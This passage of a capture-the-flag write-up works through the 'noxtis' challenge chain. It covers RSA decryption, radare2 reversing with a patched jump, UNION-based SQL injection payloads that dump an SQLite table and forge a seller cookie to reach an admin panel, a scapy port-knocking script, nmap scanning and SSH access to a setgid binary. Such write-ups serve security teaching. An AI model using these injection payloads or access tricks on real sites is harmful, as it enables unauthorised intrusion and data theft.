>>> c=62094327354293714871337806608043143339672711375275261525243238242322194473023610842261452370807533140129255594935713596899492336925573500404508972313463258470764117200138784924348362580128423518572743446058119722861164424364186271770831857887818550880280385895469933434901508250872871673722739401583613920865
>>> N=102518413348128616948064302091615267327586561544914497024946023154172320251650248158262401038211060025769143033483116931749752882566368072181993447378932810603880706573407783516535716219705301632360773290434984792276962906314924125193872533986871367036809927042370179209563059349511562287725586162360516841779
>>> d=90575112832191634931822012293951618304193311969935139031973154594700485026947413962490036848108653090804963912366135718482295366073482828257042351498160831683665400283336482471506944874247073018050011183570224881323949477869741822928092177900190031155493051065073868895195339892585741809998466654281718606993
>>> plaintext = pow(c, d, N)
>>> plaintext
12095051301478169748702315942951183566712581822646196016924926165965065297342257L
>>> format(plaintext, 'x')
'68747470733a2f2f64726976652e676f6f676c652e636f6d2f66696c652f642f31'
>>> format(plaintext, 'x').decode("hex")
'https://drive.google.com/file/d/1'
>>>
```
That looks like half of a Google Drive address, let's try to find the other half in the executable.
```
root@kali:/media/sf_CTFs/noxtis/_I_challenge_you.zip.extracted/I_challenge_you# r2 reversing.exe
-- (gdb) ^D
[0x004014e0]> aaa
[x] Analyze all flags starting with sym. and entry0 (aa)
[x] Analyze function calls (aac)
[x] Analyze len bytes of instructions for references (aar)
[x] Constructing a function name for fcn.* and sym.func.* functions (aan)
[x] Type matching analysis for all functions (afta)
[x] Use -AA or aaaa to perform additional experimental analysis.
[0x004014e0]> afl
0x00401180 44 850 -> 809 sub.KERNEL32.dll_Sleep_180
0x004014e0 1 34 entry0
0x00401550 9 337 sym.main
0x004016a1 15 458 fcn.004016a1
0x0040186b 15 411 fcn.0040186b
0x00401a06 8 108 fcn.00401a06
0x00401b30 13 31 -> 150 fcn.00401b30
0x00401b60 1 3 fcn.00401b60
0x00401b70 6 214 -> 206 sub.KERNEL32.dll_GetSystemTimeAsFileTime_b70
0x00401e60 1 12 -> 18 fcn.00401e60
0x00401f70 1 3 fcn.00401f70
0x00401fa0 91 1584 -> 1540 sub.KERNEL32.dll_VirtualQuery_fa0
0x00402170 66 1120 -> 1076 sub.KERNEL32.dll_VirtualProtect_170
0x004025d0 12 236 -> 232 sub..pdata_5d0
0x004028b0 7 106 sub.KERNEL32.dll_EnterCriticalSection_8b0
0x00402a40 17 218 -> 205 sub.KERNEL32.dll_DeleteCriticalSection_a40
0x00402b20 3 30 fcn.00402b20
0x00402bb0 9 141 -> 139 fcn.00402bb0
0x00402c40 9 116 fcn.00402c40
0x00402cc0 4 62 -> 59 fcn.00402cc0
0x00402d00 10 111 fcn.00402d00
0x00402d70 3 55 -> 49 fcn.00402d70
0x00402f00 3 50 fcn.00402f00
0x00402f40 1 6 sub.msvcrt.dll_vfprintf_f40
0x00402f48 1 6 sub.msvcrt.dll_system_f48
0x00402f50 1 6 sub.msvcrt.dll_strncpy_f50
0x00402f58 1 6 sub.msvcrt.dll_strncmp_f58
0x00402f60 1 6 sub.msvcrt.dll_strlen_f60
0x00402f68 1 6 sub.msvcrt.dll_strcmp_f68
0x00402f70 1 6 sub.msvcrt.dll_signal_f70
0x00402f78 1 6 sub.msvcrt.dll_puts_f78
0x00402f80 1 6 sub.msvcrt.dll_printf_f80
0x00402f88 1 6 sub.msvcrt.dll_memcpy_f88
0x00402f90 1 6 sub.msvcrt.dll_malloc_f90
0x00402f98 1 6 sub.msvcrt.dll_fwrite_f98
0x00402fa0 1 6 sub.msvcrt.dll_free_fa0
0x00402fa8 1 6 sub.msvcrt.dll_fread_fa8
0x00402fb0 1 6 sub.msvcrt.dll_fprintf_fb0
0x00402fb8 1 6 sub.msvcrt.dll_fopen_fb8
0x00402fc0 1 6 sub.msvcrt.dll_fclose_fc0
0x00402fc8 1 6 sub.msvcrt.dll_exit_fc8
0x00402fd0 1 6 sub.msvcrt.dll_calloc_fd0
0x00402fd8 1 6 sub.msvcrt.dll_abort_fd8
0x00402fe0 1 6 sub.msvcrt.dll__onexit_fe0
0x00402fe8 1 6 sub.msvcrt.dll__initterm_fe8
0x00402ff0 1 6 sub.msvcrt.dll__cexit_ff0
0x00402ff8 1 6 sub.msvcrt.dll__amsg_exit_ff8
0x00403000 1 6 loc.00403000
0x00403008 1 6 sub.msvcrt.dll___set_app_type_8
0x00403018 1 6 sub.msvcrt.dll___getmainargs_18
0x00403030 1 31 fcn.00403030
0x00403060 1 11 fcn.00403060
0x00403070 1 11 fcn.00403070
0x00403080 1 11 fcn.00403080
0x00403090 1 6 sub.msvcrt.dll___iob_func_90
0x00403160 3 117 -> 154 sub.Mingw_w64_runtime_failure:_160
[0x004014e0]>
[0x004014e0]> s sym.main
[0x00401550]> VV
.---------------------------------------------------------.
| [0x401550] |
| (fcn) sym.main 337 |
| sym.main (int argc, char **argv, char **envp); |
| ; var file*nmemb @ rbp-0x20 |
| ; var file*stream @ rbp-0x18 |
| ; var int local_10h @ rbp-0x10 |
| ; var size_t local_4h @ rbp-0x4 |
| ; CALL XREF from sub.KERNEL32.dll_Sleep_180 (0x4013c2) |
| push rbp |
| mov rbp, rsp |
| ; '@' |
| sub rsp, 0x40 |
| call fcn.00401b30;[ga] |
| mov dword [local_4h], 0 |
| mov qword [local_10h], 0 |
| mov qword [stream], 0 |
| ; "r" |
| lea rdx, [0x00405035] |
| ; 0x405037 |
| ; "obi/wanAnshobi.txt" |
| lea rcx, str.obi_wanAnshobi.txt |
| ; file*fopen(const char *filename, const char *mode) |
| call sub.msvcrt.dll_fopen_fb8;[gb] |
| mov qword [nmemb], rax |
| cmp qword [nmemb], 0 |
| jne 0x40159c;[gc] |
`---------------------------------------------------------'
f t
| |
| '------------------------------.
.------' |
| |
.--------------------------------------. |
| 0x401592 [gf] | |
| mov ecx, 0 | |
| call sub.msvcrt.dll_exit_fc8;[ge] | |
`--------------------------------------' |
v |
| |
.' |
| .--------------------------------------'
| |
.---------------------------------------------------------------------.
| 0x40159c [gc] |
| ; CODE XREF from sym.main (0x401590) |
| ; 32 |
| mov ecx, 0x20 |
| ; void *malloc(size_t size) |
| call sub.msvcrt.dll_malloc_f90;[gg] |
| mov qword [stream], rax |
| mov rdx, qword [nmemb] |
| mov rax, qword [stream] |
| mov r9, rdx |
| ; 31 |
| mov r8d, 0x1f |
| ; size_t nmemb |
| mov edx, 1 |
| ; FILE *stream |
| mov rcx, rax |
| ; size_t fread(void *ptr, size_t size, size_t nmemb, FILE *stream) |
| call sub.msvcrt.dll_fread_fa8;[gh] |
| mov dword [local_4h], eax |
| mov rax, qword [nmemb] |
| mov rcx, rax |
| ; int fclose(FILE *stream) |
| call sub.msvcrt.dll_fclose_fc0;[gi] |
| mov eax, dword [local_4h] |
| cdqe |
| mov rdx, qword [stream] |
| ; '(' |
| add rax, rdx |
| mov byte [rax], 0 |
| mov rax, qword [stream] |
| mov rcx, rax |
| ; size_t strlen(const char *s) |
| call sub.msvcrt.dll_strlen_f60;[gj] |
| ; 5 |
| cmp rax, 5 |
| jne 0x401608;[gk] |
`---------------------------------------------------------------------'
f t
| |
| '----------------------------------.
'----. |
| |
.-------------------------------. |
| 0x4015f8 [gn] | |
| mov rax, qword [stream] | |
| mov rcx, rax | |
| call fcn.00401a06;[gl] | |
| test eax, eax | |
| jne 0x40161e;[gm] | |
`-------------------------------' |
f t |
| | |
| '---. |
'---------------. |
| | .---------'
| | |
| .--------------------------------------.
| | 0x401608 [gk] |
| | ; CODE XREF from sym.main (0x4015f6) |
| | mov rax, qword [stream] |
| | mov rcx, rax |
| | ; void free(void *ptr) |
| | call sub.msvcrt.dll_free_fa0;[go] |
| | mov ecx, 0 |
| | call sub.msvcrt.dll_exit_fc8;[ge] |
| `--------------------------------------'
| v
| |
.-----|-------'
| .---'
| |
.-----------------------------------------------.
| 0x40161e [gm] |
| mov rax, qword [stream] |
| mov rcx, rax |
| call fcn.004016a1;[gp] |
| mov rax, qword [stream] |
| ; 0x40504a |
| ; "zif}e" |
| lea rdx, str.zif_e |
| mov rcx, rax |
| ; int strcmp(const char *s1, const char *s2) |
| call sub.msvcrt.dll_strcmp_f68;[gq] |
| test eax, eax |
| jne 0x401672;[gr] |
`-----------------------------------------------'
f t
| |
| '----------------------.
.------------------------------' |
| |
.--------------------------------------------------. .--------------------------------------.
| 0x401641 [gv] | | 0x401672 [gr] |
| ; 0x405050 | | ; CODE XREF from sym.main (0x40163f) |
| ; "JV7\_E=Yg\x7fZ9XhL<e`U_:a[NL7`f\x7fhg;/naem" | | ; 0x405091 |
| lea rcx, str.JV7___E_Yg | | ; "Wrong answer!" |
| call fcn.0040186b;[gs] | | lea rcx, str.Wrong_answer |
| mov qword [local_10h], rax | | ; int puts(const char *s) |
| mov rax, qword [local_10h] | | call sub.msvcrt.dll_puts_f78;[gw] |
| mov rdx, rax | `--------------------------------------'
| ; 0x405076 | v
| ; "Correct! There you go: %s\n" | |
| lea rcx, str.Correct__There_you_go:__s | |
| ; int printf(const char *format) | |
| call sub.msvcrt.dll_printf_f80;[gt] | |
| mov rax, qword [local_10h] | |
| mov rcx, rax | |
| ; void free(void *ptr) | |
| call sub.msvcrt.dll_free_fa0;[go] | |
| jmp 0x40167e;[gu] | |
`--------------------------------------------------' |
v |
| |
'-------------------------------. |
| .---------------------'
| |
.----------------------------------------.
| 0x40167e [gu] |
| ; CODE XREF from sym.main (0x401670) |
| mov rax, qword [stream] |
| mov rcx, rax |
| ; void free(void *ptr) |
| call sub.msvcrt.dll_free_fa0;[go] |
| ; 0x40509f |
| ; "pause" |
| lea rcx, str.pause |
| ; int system(const char *string) |
| call sub.msvcrt.dll_system_f48;[gx] |
| mov eax, 0 |
| ; '@' |
| add rsp, 0x40 |
| pop rbp |
| ret |
`----------------------------------------'
```
Even without diving too deep into the assembly, we can see that we should create a `obi/wanAnshobi.txt` file in order to get past the test in the first block, and fill with with a string of length 5 in order to get past the test in the `[gc]` block.
`[gn]` contains an extra test implemented in `fcn.00401a06`, let's ignore that for now. It then calls `fcn.004016a1` and apparently checks the result against `zif}e` in order to pass the test in `[gm]`. If it passes, we get to the "correct" block ("`[gv]`") and prints something to the user.
`fcn.00401a06` is pretty simple and just checks that the input string consists of lowercase letters. `fcn.004016a1` is much more complex, making it worth while to just pop-up a debugger, modify the jump flag ("tricking" the `test eax, eax` to think that `strcmp` returned a result of "equal") and hope for the best.
Fortunately, this produces the following output:
```
Correct! There you go: ZT3N_E7QckP1RbX8ejU_0iOVX3jdkbc9/view
```
So, the next link is:
https://drive.google.com/file/d/1ZT3N_E7QckP1RbX8ejU_0iOVX3jdkbc9/view
This time we get an image:
We head to the site and get a simple fan page:
```html
<html>
<head>
<title>Darth Vader Fans!</title>
<link rel="stylesheet" href="css/main.css" />
<meta charset="UTF-8" />
<meta name="description" value="Website dedicated to Darth Vaders fans all over the world" />
<meta name="author" value="Nahman" />
</head>
<body>
<header>
<img src="img/logo.png" class="logo"/>
<div id="navigation-bar">
<ul>
<li><a href="index.php">Home</a></li>
<li><a href="merch.php">Merchandise</a></li>
<li><a href="memes.php">Memes</a></li>
<li><a href="about.php">About us</a></li>
<li><a href="contact.php">Contact us</a></li>
</ul>
</div>
</header>
<article class="main-content">
<h1>
Welcome to Darth Vader fanbase official website!
</h1>
<p>Here you can find everything related to Darth Vader from Star Wars™ franchise <br>
from comfortable plushies to RGB lightsabers in fixed price!<br>
Knock yourselves out with custom made Darth Vader shirts for all kinds of sizes and cute christmas<br>
socks with Darth Vader figures on them.</p>
</article>
</body>
</html>
```
There's not too much to see, the most promising section is the merchandise area:
```html
<article class="main-content">
<h1>
Merchandise!
</h1>
<div class="products">
<div class='item'><p>Lightsaber</p><a href="product.php?id=1"><img class="merchimg" src="img/lightsaber.png"/></a></div><div class='item'><p>Darth Pillow</p><a href="product.php?id=2"><img class="merchimg" src="img/pillow.png"/></a></div><div class='item'><p>Darth Vader Mug</p><a href="product.php?id=3"><img class="merchimg" src="img/cup.png"/></a></div><div class='item'><p>Darth Vader Phone Case</p><a href="product.php?id=4"><img class="merchimg" src="img/phonecase.jpg"/></a></div><div class='item'><p>Darthplushie - signed by Nahman</p><a href="product.php?id=5"><img class="merchimg" src="img/11109.png"/></a></div><div class='item'><p>Dark Side Bag</p><a href="product.php?id=6"><img class="merchimg" src="img/bag.png"/></a></div><div class='item'><p>Darth Vader Shirt</p><a href="product.php?id=7"><img class="merchimg" src="img/shirt.png"/></a></div><div class='item'><p>Darth Vader Mask</p><a href="product.php?id=8"><img class="merchimg" src="img/mask.png"/></a></div><div class='item'><p>Darth Vader Vinyl Sticker</p><a href="product.php?id=9"><img class="merchimg" src="img/sticker.png"/></a></div><div class='item'><p>Darth Vader mug</p><a href="product.php?id=11"><img class="merchimg" src="img/figure.png"/></a></div> </div>
</article>
```
It looks like the products come from a database, based on the dynamic `id` parameter.
Here's a product page, for example:
```html
<article class="main-content">
<h1>
Lightsaber </h1>
<div class="product-choose">
<img class="focus-img" src=img/lightsaber.png /><br>
<p>Price: $40</p>
</div>
</article>
```
Notice how item #10 is missing. If we visit it independtly, we get:
```html
<article class="main-content">
<h1>
Darth Vader Minecraft Skin with interesting filename
</h1>
<div class="product-choose">
<img class="focus-img" src=passphrase/SweetTooth.png /><br>
<p>Price: $1500</p>
</div>
</article>
```
However, I didn't find anything to do with this information throughout the CTF. Maybe it's an easter egg?
Obviously, the next step is to try and fiddle with the parameter, and see what happens. The page handles out-of-range values gracefuly by displaying an "Item not found" page, but when entering an invalid character such as `'`, it displays an error message: "Whitespace detected!".
What happens if we try to access `product.php?id=1'or'1'='1`? We actually get a valid product page, which means that the service is vulnerable to SQL injection!
Let's try some illegal syntax in order to see an error message:
```
/product.php?id=100'union--
```
The result is: ` SQLSTATE[HY000]: General error: 1 near "--'": syntax error `.
Searching for the error message, we get several indications that this is an SQLite DB. Let's try to read the table names using SQLite syntax:
```
/product.php?id=100'union/**/SELECT/**/1,tbl_name,3,4,5/**/from(sqlite_master)/**/limit/**/1/**/offset/**/0--
--> Produces "products"
/product.php?id=100'union/**/SELECT/**/1,tbl_name,3,4,5/**/from(sqlite_master)/**/limit/**/1/**/offset/**/1--
--> Produces "sqlite_sequence"
/product.php?id=100'union/**/SELECT/**/1,tbl_name,3,4,5/**/from(sqlite_master)/**/limit/**/1/**/offset/**/1--
--> "Item not found" --> No additional tables
```
Now we can try to read the "products" table structure:
```
/product.php?id=100%27union/**/SELECT/**/1,sql,3,4,5/**/from(sqlite_master)/**/limit/**/1/**/offset/**/1--
--> CREATE TABLE products (id INTEGER PRIMARY KEY AUTOINCREMENT, name varchar(255) UNIQUE, price INTEGER, img varchar(255), seller_cookie varchar(255))
```
Knowing the column names, we can start dumping data:
```
/product.php?id=100'union/**/SELECT/**/1,seller_cookie,name,4,5/**/from(products)/**/limit/**/1/**/offset/**/0--
--> 4e8a22q94as9fzx21z3fg== , Darth Vader Phone Case
/product.php?id=100'union/**/SELECT/**/1,seller_cookie,name,img,5/**/from(products)/**/limit/**/1/**/offset/**/1--
--> QmVuU3dvbG8= , Dark Side Bag
...
```
After dumping all the rows, we get the following data:
```
seller_cookie Base64 Decoded String
----------------------- --------------------------
4e8a22q94as9fzx21z3fg== <invalid base64 string>
QmVuU3dvbG8= BenSwolo
QmVuU3dvbG8= BenSwolo
RGFydGh4TmFobWFu DarthxNahman
T2J2aW91c2x5Tm90TmFobWFu ObviouslyNotNahman
T2J2aW91c2x5Tm90TmFobWFu ObviouslyNotNahman
T2JpV2FubmFiZQ== ObiWannabe
T2JpV2FubmFiZQ== ObiWannabe
THVrZUlzQUJhc3RhcmQ= LukeIsABastard
THVrZUlzQUJhc3RhcmQ= LukeIsABastard
V2VIYXZlQ29va2llcw== WeHaveCookies
```
We are hunting for Nahman, so we create a cookie with his value and revisit the site:
```console
root@kali:/media/sf_CTFs/noxtis/site# curl -v --cookie "seller_cookie=RGFydGh4TmFobWFu" http://darthvaderfans.noxale.com/
* Trying 18.220.135.102...
* TCP_NODELAY set
* Connected to darthvaderfans.noxale.com (18.220.135.102) port 80 (#0)
> GET / HTTP/1.1
> Host: darthvaderfans.noxale.com
> User-Agent: curl/7.61.0
> Accept: */*
> Cookie: seller_cookie=RGFydGh4TmFobWFu
>
< HTTP/1.1 200 OK
< Host: darthvaderfans.noxale.com
< Connection: close
< X-Powered-By: PHP/7.0.32-0ubuntu0.16.04.1
< Set-Cookie: PHPSESSID=1d692c34d75fc6d5a28f003d837a43ee; path=/
< Expires: Thu, 19 Nov 1981 08:52:00 GMT
< Cache-Control: no-store, no-cache, must-revalidate
< Pragma: no-cache
< Content-type: text/html; charset=UTF-8
<
<html>
<head>
<title>Darth Vader Fans!</title>
<link rel="stylesheet" href="css/main.css" />
<meta charset="UTF-8" />
<meta name="description" value="Website dedicated to Darth Vaders fans all over the world" />
<meta name="author" value="Nahman" />
</head>
<body>
<header>
<img src="img/logo.png" class="logo"/>
<div id="navigation-bar">
<ul>
<li><a href="index.php">Home</a></li>
<li><a href="merch.php">Merchandise</a></li>
<li><a href="memes.php">Memes</a></li>
<li><a href="about.php">About us</a></li>
<li><a href="contact.php">Contact us</a></li>
<li><a href='admin.php'>Control Panel</a></li> </ul>
</div>
</header>
<article class="main-content">
<h1>
Welcome to Darth Vader fanbase official website!
</h1>
<p>Here you can find everything related to Darth Vader from Star Wars™ franchise <br>
from comfortable plushies to RGB lightsabers in fixed price!<br>
Knock yourselves out with custom made Darth Vader shirts for all kinds of sizes and cute christmas<br>
socks with Darth Vader figures on them.</p>
</article>
</body>
* Closing connection 0
</html>
```
Notice how we got a new link in the navigation bar: "Control Panel". Let's visit it:
```console
root@kali:/media/sf_CTFs/noxtis/site# curl -v --cookie "seller_cookie=RGFydGh4TmFobWFu" http://darthvaderfans.noxale.com/admin.php
* Trying 18.220.135.102...
* TCP_NODELAY set
* Connected to darthvaderfans.noxale.com (18.220.135.102) port 80 (#0)
> GET /admin.php HTTP/1.1
> Host: darthvaderfans.noxale.com
> User-Agent: curl/7.61.0
> Accept: */*
> Cookie: seller_cookie=RGFydGh4TmFobWFu
>
< HTTP/1.1 200 OK
< Host: darthvaderfans.noxale.com
< Connection: close
< X-Powered-By: PHP/7.0.32-0ubuntu0.16.04.1
< Set-Cookie: PHPSESSID=55954f95c98f172f2de529c98388d83d; path=/
< Expires: Thu, 19 Nov 1981 08:52:00 GMT
< Cache-Control: no-store, no-cache, must-revalidate
< Pragma: no-cache
< Content-type: text/html; charset=UTF-8
<
<html>
<head>
<title>Darth Vader Fans!</title>
<link rel="stylesheet" href="css/main.css" />
<meta charset="UTF-8" />
<meta name="description" value="Website dedicated to Darth Vaders fans all over the world" />
<meta name="author" value="Nahman" />
</head>
<body>
<header>
<img src="img/logo.png" class="logo"/>
<div id="navigation-bar">
<ul>
<li><a href="index.php">Home</a></li>
<li><a href="merch.php">Merchandise</a></li>
<li><a href="memes.php">Memes</a></li>
<li><a href="about.php">About us</a></li>
<li><a href="contact.php">Contact us</a></li>
<li><a href='admin.php'>Control Panel</a></li> </ul>
</div>
</header>
<article class="main-content">
<h1>
Admin panel
</h1>
<a href="https://drive.google.com/file/d/1OqrGfsoCkKjGzei-1Irvxvt2PYRU-Z5W/view"> BOOM PCAP FILE </a>
</article>
</body>
</html>
* Closing connection 0
```
The next stop is:
https://drive.google.com/file/d/1OqrGfsoCkKjGzei-1Irvxvt2PYRU-Z5W/view
It offers a PCAP network capture:
```console
root@kali:/media/sf_CTFs/noxtis/pcap# tshark -r KnockKnockKnock.pcap
1 0.000000 10.0.0.10 → 3.16.9.89 TCP 54 20 → 2510 [SYN] Seq=0 Win=8192 Len=0 20 2510
2 0.502349 10.0.0.10 → 3.16.9.89 TCP 54 20 → 2031 [SYN] Seq=0 Win=8192 Len=0 20 2031
3 1.017833 10.0.0.10 → 3.16.9.89 TCP 54 20 → 2000 [SYN] Seq=0 Win=8192 Len=0 20 2000
4 1.515503 10.0.0.10 → 3.16.9.89 TCP 66 2562 → 8200 [SYN] Seq=0 Win=8192 Len=0 MSS=1460 WS=256 SACK_PERM=1 2562 8200
5 1.691303 3.16.9.89 → 10.0.0.10 TCP 66 8200 → 2562 [RST] Seq=1 Win=26883 Len=0 MSS=1360 SACK_PERM=1 WS=128 8200 2562
6 1.694659 10.0.0.10 → 3.16.9.89 TCP 54 20 → 1111 [SYN] Seq=0 Win=8192 Len=0 20 1111
7 2.205073 10.0.0.10 → 3.16.9.89 TCP 54 20 → 2222 [SYN] Seq=0 Win=8192 Len=0 20 2222
8 2.705261 10.0.0.10 → 3.16.9.89 TCP 54 20 → 3333 [SYN] Seq=0 Win=8192 Len=0 20 3333
9 3.218129 10.0.0.10 → 3.16.9.89 TCP 66 2563 → 8200 [SYN] Seq=0 Win=8192 Len=0 MSS=1460 WS=256 SACK_PERM=1 2563 8200
10 3.432105 3.16.9.89 → 10.0.0.10 TCP 66 8200 → 2563 [RST] Seq=1 Win=26883 Len=0 MSS=1360 SACK_PERM=1 WS=128 8200 2563
11 3.435321 10.0.0.10 → 3.16.9.89 TCP 54 20 → 1122 [SYN] Seq=0 Win=8192 Len=0 20 1122
12 3.940159 10.0.0.10 → 3.16.9.89 TCP 54 20 → 3344 [SYN] Seq=0 Win=8192 Len=0 20 3344
13 4.455189 10.0.0.10 → 3.16.9.89 TCP 54 20 → 5566 [SYN] Seq=0 Win=8192 Len=0 20 5566
14 4.968132 10.0.0.10 → 3.16.9.89 TCP 66 2564 → 8200 [SYN] Seq=0 Win=8192 Len=0 MSS=1460 WS=256 SACK_PERM=1 2564 8200
15 5.172456 3.16.9.89 → 10.0.0.10 TCP 66 8200 → 2564 [RST] Seq=1 Win=26883 Len=0 MSS=1360 SACK_PERM=1 WS=128 8200 2564
16 5.175748 10.0.0.10 → 3.16.9.89 TCP 54 20 → 1234 [SYN] Seq=0 Win=8192 Len=0 20 1234
17 5.689558 10.0.0.10 → 3.16.9.89 TCP 54 20 → 1337 [SYN] Seq=0 Win=8192 Len=0 20 1337
18 6.205231 10.0.0.10 → 3.16.9.89 TCP 54 20 → 7777 [SYN] Seq=0 Win=8192 Len=0 20 7777
19 6.718092 10.0.0.10 → 3.16.9.89 TCP 66 2565 → 8200 [SYN] Seq=0 Win=8192 Len=0 MSS=1460 WS=256 SACK_PERM=1 2565 8200
20 6.913198 3.16.9.89 → 10.0.0.10 TCP 66 8200 → 2565 [SYN, ACK] Seq=0 Ack=1 Win=26883 Len=0 MSS=1360 SACK_PERM=1 WS=128 8200 2565
```
The file name, and the contents, both strongly hint that we are dealing with port knocking. It looks like in order to get an ACK from the server, we need to first send a SYN to a sequence of three ports: 1234, 1337, 7777. The other cases (e.g. 2510, 2031, 2000) didn't work - the server sent a RST response instead.
Let's test this theory:
```python
from scapy.all import *
from socket import *
conf.verb = 0
IP_ADDR = '3.16.9.89'
ports = [1234, 1337, 7777]
for port in ports:
print "[*] Knocking on", port
ip = IP(dst=IP_ADDR)
src_port = 20
SYN = ip/TCP(sport=src_port, dport=port, flags="S", window=2048, options=[('MSS',1460)], seq=0)
send(SYN)
s = socket(AF_INET, SOCK_STREAM)
s.connect((IP_ADDR, 8200))
data = s.recv(1024)
print data
```
Output:
```console
[*] Knocking on 1234
[*] Knocking on 1337
[*] Knocking on 7777
https://drive.google.com/file/d/10Uxdu7bNFzjhdf2g-jANho1hy1iqwQJR/view
```
On we go, downloading a new file from the Google Drive link above:
```console
root@kali:/media/sf_CTFs/noxtis/audio# file audio.wav
audio.wav: RIFF (little-endian) data, WAVE audio, Microsoft PCM, 16 bit, mono 44100 Hz
```
The audio from the file is meaningless, so we search for meaning elsewhere. For example, the spectrogram. We can use a GUI application such as Audacity to view the spectrogram, or generate a PNG from the command line using `sox`:
```console
sox audio.wav -n spectrogram
```
The result is a file called `spectrogram.png` (by default):
But what can we do with this information? After a week where no participant was able to progress past this point, a hint came from the creators:
> Services are wonderful. Did you know that you can change their default port?
The next step is appearantly extensive port scanning using `nmap`:
```console
root@kali:~# nmap -vv -sS -sU -p- -sV -T4 -sC darthvaderfans.noxale.com 3.16.9.89
Starting Nmap 7.70 ( https://nmap.org ) at 2019-02-14 18:52 IST
NSE: Loaded 148 scripts for scanning.
NSE: Script Pre-scanning.
NSE: Starting runlevel 1 (of 2) scan.
Initiating NSE at 18:53
Completed NSE at 18:53, 0.00s elapsed
NSE: Starting runlevel 2 (of 2) scan.
Initiating NSE at 18:53
Completed NSE at 18:53, 0.00s elapsed
Initiating Ping Scan at 18:53
Scanning 2 hosts [4 ports/host]
Completed Ping Scan at 18:53, 0.01s elapsed (2 total hosts)
Initiating Parallel DNS resolution of 2 hosts. at 18:53
Completed Parallel DNS resolution of 2 hosts. at 18:53, 4.02s elapsed
Initiating SYN Stealth Scan at 18:53
Scanning 2 hosts [65535 ports/host]
Discovered open port 22/tcp on 3.16.9.89
Discovered open port 22/tcp on 18.220.135.102
Discovered open port 80/tcp on 18.220.135.102
SYN Stealth Scan Timing: About 0.96% done
SYN Stealth Scan Timing: About 1.96% done; ETC: 19:44 (0:50:51 remaining)
SYN Stealth Scan Timing: About 3.16% done; ETC: 19:42 (0:48:02 remaining)
SYN Stealth Scan Timing: About 6.99% done; ETC: 19:41 (0:45:27 remaining)
SYN Stealth Scan Timing: About 10.42% done; ETC: 19:50 (0:51:01 remaining)
Discovered open port 1337/tcp on 18.220.135.102
SYN Stealth Scan Timing: About 15.56% done; ETC: 19:49 (0:48:01 remaining)
SYN Stealth Scan Timing: About 22.39% done; ETC: 19:51 (0:45:07 remaining)
SYN Stealth Scan Timing: About 26.67% done; ETC: 19:50 (0:42:10 remaining)
SYN Stealth Scan Timing: About 31.72% done; ETC: 19:50 (0:39:06 remaining)
SYN Stealth Scan Timing: About 36.85% done; ETC: 19:50 (0:36:04 remaining)
SYN Stealth Scan Timing: About 34.13% done; ETC: 19:56 (0:41:58 remaining)
SYN Stealth Scan Timing: About 40.47% done; ETC: 19:58 (0:38:44 remaining)
SYN Stealth Scan Timing: About 46.02% done; ETC: 19:58 (0:35:24 remaining)
SYN Stealth Scan Timing: About 50.83% done; ETC: 19:58 (0:32:01 remaining)
SYN Stealth Scan Timing: About 55.96% done; ETC: 19:58 (0:28:45 remaining)
SYN Stealth Scan Timing: About 61.67% done; ETC: 19:59 (0:25:21 remaining)
SYN Stealth Scan Timing: About 67.00% done; ETC: 19:59 (0:21:53 remaining)
SYN Stealth Scan Timing: About 62.32% done; ETC: 20:05 (0:27:09 remaining)
SYN Stealth Scan Timing: About 67.91% done; ETC: 20:06 (0:23:31 remaining)
SYN Stealth Scan Timing: About 73.23% done; ETC: 20:06 (0:19:42 remaining)
SYN Stealth Scan Timing: About 78.35% done; ETC: 20:06 (0:15:57 remaining)
SYN Stealth Scan Timing: About 83.38% done; ETC: 20:06 (0:12:15 remaining)
SYN Stealth Scan Timing: About 88.63% done; ETC: 20:06 (0:08:23 remaining)
SYN Stealth Scan Timing: About 93.68% done; ETC: 20:07 (0:04:41 remaining)
Completed SYN Stealth Scan against 18.220.135.102 in 4335.06s (1 host left)
SYN Stealth Scan Timing: About 98.70% done; ETC: 20:07 (0:00:58 remaining)
Completed SYN Stealth Scan at 20:08, 4529.19s elapsed (131070 total ports)
```
What's this?
```
Discovered open port 1337/tcp on 18.220.135.102
```
Let's try to connect:
```console
root@kali:/media/sf_CTFs/noxtis/ssh# nc darthvaderfans.noxale.com 1337
SSH-2.0-OpenSSH_7.2p2 Ubuntu-4ubuntu2.6
```
So this is an SSH service, let's try to connect with the username and password from the audio file:
```console
root@kali:/media/sf_CTFs/noxtis/ssh# ssh Nahman@darthvaderfans.noxale.com -p 1337
Nahman@darthvaderfans.noxale.com's password:
Welcome to Ubuntu 16.04.5 LTS (GNU/Linux 4.14.94-89.73.amzn2.x86_64 x86_64)
* Documentation: https://help.ubuntu.com
* Management: https://landscape.canonical.com
* Support: https://ubuntu.com/advantage
The programs included with the Ubuntu system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.
Ubuntu comes with ABSOLUTELY NO WARRANTY, to the extent permitted by
applicable law.
The programs included with the Ubuntu system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.
Ubuntu comes with ABSOLUTELY NO WARRANTY, to the extent permitted by
applicable law.
Last login: Thu Feb 14 18:54:36 2019 from ***
Nahman@c70a485c41b8:~$ ls
authme authme.c cant_touch_this topsecret
Nahman@c70a485c41b8:~$ ls -al
total 20
drwxr-xr-x 1 root root 76 Feb 2 18:53 .
drwxr-xr-x 1 root root 39 Feb 2 18:53 ..
-r-xr-sr-x 1 DarthNahman DarthNahman 7520 Jan 30 21:11 authme
-r--r--r-- 1 DarthNahman DarthNahman 910 Jan 30 21:11 authme.c
-r--r----- 1 DarthNahman DarthNahman 21 Jan 30 21:11 cant_touch_this
-r--r----- 1 DarthNahman DarthNahman 441 Feb 2 18:50 topsecret
Nahman@c70a485c41b8:~$ cat cant_touch_this
cat: cant_touch_this: Permission denied
Nahman@c70a485c41b8:~$ cat topsecret
cat: topsecret: Permission denied
Nahman@c70a485c41b8:~$ ./authme
Please insert the secret password:
asdf
Incorrect password!
```
Let's copy what we can to the local environment, e.g.:
```console
root@kali:/media/sf_CTFs/noxtis/ssh# scp -P 1337 Nahman@darthvaderfans.noxale.com:authme .
Nahman@darthvaderfans.noxale.com's password:
authme 100% 7520 30.5KB/s 00:00
```
We get an execuable and a source file:
```c
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#define PASSWORD "CYBERCYBERCYBER"
#define BUFFER_SIZE 64
void getPassword();
void randomFunc();
int authenticated = 0;
int main()
{
FILE* f = NULL;
char buffer[BUFFER_SIZE] = {0};
printf("Please insert the secret password:\n");
getPassword();
if(authenticated)
{
f = fopen("cant_touch_this", "r");
if(!f)
{
printf("Error! Please contact the operators\n");
